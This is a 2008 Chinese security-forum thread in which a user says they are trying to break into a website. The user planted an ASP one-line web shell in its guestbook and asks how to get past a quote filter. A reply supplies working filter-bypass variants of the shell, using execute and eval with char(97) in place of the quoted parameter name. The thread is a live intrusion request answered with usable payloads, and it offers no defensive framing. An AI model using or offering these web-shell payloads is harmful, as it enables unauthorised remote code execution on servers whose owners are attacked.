【3.A.S.T】网络安全爱好者 » 技术交流 » [讨论]关于一句话如果绕过网站的过滤限制

冰绿茶 发表于 2008-7-21 00:11

[讨论]关于一句话如果绕过网站的过滤限制

[讨论]关于一句话如果绕过网站的过滤限制
议题作者：kyo-esr

信息来源：邪恶八进制信息安全团队（[url=http://www.eviloctal.com/]www.eviloctal.com[/url]）

今天碰到一个棘手的问题,日一个站日了半天愣是没有办法,都是静态页面,最后google了一下,竟然有asp的留言版~~
直接插入一句话,留完言后一看, <%execute request("value")%>给过滤成<%execute request("value") [img]http://forum.eviloctal.com/images/smilies/default/sweat.gif[/img]
[localimg=400,46]截图[/localimg]
晕,以前碰到的都是直接过滤了百分号的,这次过滤了引号,头一次遇到 [img]http://forum.eviloctal.com/images/smilies/default/mad.gif[/img]
"过滤成了"
改怎么改写一句话才能绕过?
thk[img]http://forum.eviloctal.com/images/smilies/default/loveliness.gif[/img]
附件
[img]http://forum.eviloctal.com/images/attachicons/image.gif[/img][url=http://forum.eviloctal.com/attachment.php?aid=11859&nothumb=yes]1.jpg[/url] (78.8 KB)
2008-6-4 16:10
[img]http://forum.eviloctal.com/attachments/month_0806/20080604_dcd30794179dd139ab3eYgYwY77eN7dj.jpg[/img]i am the bird...
帖子1 精华[url=http://forum.eviloctal.com/digest.php?authorid=62462]0[/url] 积分3 阅读权限40 性别男 来自none 在线时间3 小时 注册时间2006-8-26 最后登录2008-6-4 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=62462]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=33263&repquote=143843&extra=page%3D4&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=33263&pid=143843&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]

[url=http://forum.eviloctal.com/space-uid-6350.html]benben[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

ic369 发表于 2008-7-21 00:12

过滤引号是可以搞定的，你下!
帖子1 精华[url=http://forum.eviloctal.com/digest.php?authorid=6350]0[/url] 积分3 阅读权限40 在线时间0 小时 注册时间2005-6-17 最后登录2008-6-5 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=6350]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=33263&repquote=143873&extra=page%3D4&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=33263&pid=143873&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]

[url=http://forum.eviloctal.com/space-uid-133110.html]miao2[/url]
﹎'颓废小猫;
[img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

山冈分 发表于 2008-7-21 00:12

<%execute request(char(97))%>
<%eval request(char(97))%>
[url=http://wpa.qq.com/msgrd?V=1&Uin=308449635&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子26 精华[url=http://forum.eviloctal.com/digest.php?authorid=133110]2[/url] 积分89 阅读权限40 性别男 在线时间102 小时 注册时间2007-7-28 最后登录2008-7-19 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=133110]查看详细资料[/url][url=http://forum.eviloctal.com/post.php?action=reply&fid=9&tid=33263&repquote=143877&extra=page%3D4&page=1]引用[/url] [url=http://forum.eviloctal.com/misc.php?action=report&fid=9&tid=33263&pid=143877&page=1]报告[/url] [url=http://forum.eviloctal.com/###]回复[/url] TOP [url=http://www.google.cn/search?q=软件外包&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]软件项目外包[/url]

[url=http://forum.eviloctal.com/space-uid-1564.html]小胖子[/url]
Calm
[img]http://forum.eviloctal.com/images/avatars/06.gif[/img]
晶莹剔透§烈日灼然

查看完整版本: [讨论]关于一句话如果绕过网站的过滤限制